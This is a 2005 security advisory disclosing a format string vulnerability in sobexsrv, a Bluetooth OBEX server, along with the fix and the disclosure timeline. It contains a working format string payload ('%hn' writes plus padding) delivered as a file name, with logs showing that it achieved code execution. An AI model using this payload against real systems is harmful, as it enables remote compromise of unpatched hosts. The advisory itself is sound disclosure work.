DMA[2005-1202a] - 'sobexsrv - Scripting/Secure OBEX Server format string vulnerability'

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DMA[2005-1202a] - 'sobexsrv - Scripting/Secure OBEX Server format string vulnerability'
Author: Kevin Finisterre
Vendor: http://www.mulliner.org/bluetooth/sobexsrv.php
Product: 'sobexsrv'
References: http://www.digitalmunition.com/DMA[2005-1202a].txt
http://www.mulliner.org/bluetooth/sobexsrv-1.0.0_pre3.tar.gz

Description: 
The trifinite.blog is a weblog that is maintained by the trifinite.group. Every now and then 
you will find new entries there... 

Over Turkey Day I noticed a blog entry about a 'not really security related but very useful' 
Bluetooth application from the trifinite.group. There were actually two new applications but 
one jumped out at me right away. One of the apps needed hardware I did not have so I did not 
pay much attention to it, sobexsrv however seemed interesting. 

sobexsrv is a Bluetooth OBEX server with Bluetooth Security Mode-2 (application triggered 
security) support. It implements OPUSH (put), OPULL (get) and OBEX-FTP (setpath + directory 
listing) and therefore is a full OBEX server. sobexsrv was designed with flexibility and 
security in mind...

Since I truely think Trifinite is pretty hardcore I almost didn't bother looking for bugs in 
this daemon. I pretty much assumed it would be rock solid. I figured if you can whisper at 
cars and shit you can certainly write an OBEX server. 

Being lazy I assumed that the examples from the man pages were easy enough to get me started 
using the sobexsrv. I quickly found that the first 2 man page examples can be used as examples
for triggering a format string issue.

EXAMPLES
       Simple setup using the internal mode, logging with syslog(8) and INBOX in /tmp.
              sobexsrv -IS -r /tmp

       Simple secure setup with chroot and Bluetooth security mode-2.
              sobexsrv -s 2 -ISR -l X -r /tmp

In both examples shown above the -S option is used to enable syslog() logging. A format string 
issue was located almost immediately in the syslog support for the logging functions. Several 
instances of user input are passed to an unformatted syslog() call when using dosyslog(). 

kfinisterre@animosity:~/sobexsrv-1.0.0_pre3$ grep syslog\( . -rin  
./src/obexsrv.c:58:     void dosyslog(char *m1, void *m2, void *m3)
./src/obexsrv.c:71:     syslog(LOG_INFO, log);
...
./src/obexsrv.c:203:    dosyslog("folder listing for \"%s\"\n", path, 0);
./src/obexsrv.c:290:    if (ret) dosyslog("pulling \"%s\"\n", fullpath, 0);
./src/obexsrv.c:291:    else dosyslog("failed pulling \"%s\"\n", fullpath, 0);
./src/obexsrv.c:334:    if (ret) dosyslog("pushing \"%s\"\n", fullpath, 0);
./src/obexsrv.c:335:    else dosyslog("faild pushing \"%s\"\n", fullpath, 0);
./src/obexsrv.c:356:    if (ret) dosyslog("deleting \"%s\"\n", fullpath, 0);
./src/obexsrv.c:357:    else dosyslog("failed deleting \"%s\"\n", fullpath, 0);
./src/obexsrv.c:401:    dosyslog("created directory \"%s\"\n", fullpath, 0);
./src/obexsrv.c:406:    dosyslog("failed to create directory \"%s\"\n", fullpath, 0);
...

As an example I used a windows machine with the Widcomm bluetooth stack to create a folder named 
"--AAAABBBB%19$x.%20$x" on a remote host. The My Bluetooth Places icon provides an OBEX ftp 
interface which worked perfect for a quick verification of the bug. 

Nov 24 04:24:40 sobexsrv: [00:0A:3A:54:71:95] connecting...
Nov 24 04:24:40 sobexsrv: [00:0A:3A:54:71:95] connected
Nov 24 04:24:41 sobexsrv: [00:0A:3A:54:71:95] folder listing for "/tmp"
Nov 24 04:24:41 sobexsrv: [00:0A:3A:54:71:95] created directory "/tmp//---AAAABBBB41414141.42424242"
Nov 24 04:24:41 sobexsrv: [00:0A:3A:54:71:95] disconnecting...
Nov 24 04:24:41 sobexsrv: [00:0A:3A:54:71:95] disconnected

The host in this example is a PowerPC linux box so keep in mind that the x86 offsets will differ. 

This vulnerability is pretty trivial to exploit as shown below. We run the server in debug mode 
so that we can see what is going on a little better. Then we exploit it with a scripted ussp-push. 

kfinisterre@threat:~$ sobexsrv -ISd -r /home/kfinisterre/
security: mode = 1
REQHINT - add handler for this!
CONNECT start
CONNECT ok, result = 1
CONNECT end
REQDONE
REQHINT - add handler for this!
PUT start
PUT name: 
%1997.d%27$hn%76819.d%28$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
PUT length: 201
PUT body length: 201
PUT data_type 1
internal_handler: put for 
"/home/kfinisterre//%1997.d%27$hn%76819.d%28$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
length=201
PUT ok
PUT end
REQDONE
REQHINT - add handler for this!
DISCONNECT start
DISCONNECT end
uid=1000(kfinisterre) gid=1000(kfinisterre) 
groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(kfinisterre)
            
As you can see we were able to deliver a /bin/sh payload and have the daemon run /usr/bin/id for 
us. 

This is what things look like from the attackers point of view. 

animosity:/home/kfinisterre/ussp-push-0.4# ./sobexsrv.pl
pushing file /tmp/shellcode
name=/tmp/shellcode, size=201
Registered transport

set user data

created new objext
Local device 00:11:B1:07:BE:A7
Remote device 00:0B:0D:63:0B:CC (1)

started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!

Connection return code: 0, id: 0
Connection established
connected to server
Sending file: 
%1997.d%27$hn%76819.d%28$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, 
path: /tmp/shellcode, size: 201
reqdone
Command (02) has now finished, rsp: 20reqdone
Command (01) has now finished, rsp: 20Disconnect done!pushed!!


Workaround:
The Author issued the following temporary warning before patching the problem. 
"the syslog (-S) function of sobexsrv is vulerable to a formatstring attack and therefore should 
not be used as of now!" 

Fixed versions are available at the following locations. 
http://www.mulliner.org/bluetooth/sobexsrv-1.0.0pre4.tar.gz
http://www.mulliner.org/bluetooth/sobexsrv_1.0.0pre4-1_i386.deb
http://www.mulliner.org/nokia770/feed/sobexsrv_1.0.0pre4-1_arm.deb (maemo binary)

Note: 
This is honestly not that critical of an issue, however it was a fun bug to exploit and it helps
satisfy my Bluetooth fetish. In reality only a handfull of Nokia 770 Tablet PC users and perhaps a 
few trifinite.blog users are affected by this issue. Collin made sure this was taken care of very 
promptly. 

Timeline associated with this bug:
11/03/2005 sobexsrv to trifinite.blog posted by Collin Mulliner
11/23/2005 Turkey Day boredom sets in ...  email collin about the find.  
11/25/2005 sobexsrv-1.0.0pre4.tar.gz released

Attachment: sobexsrv.pl
Description: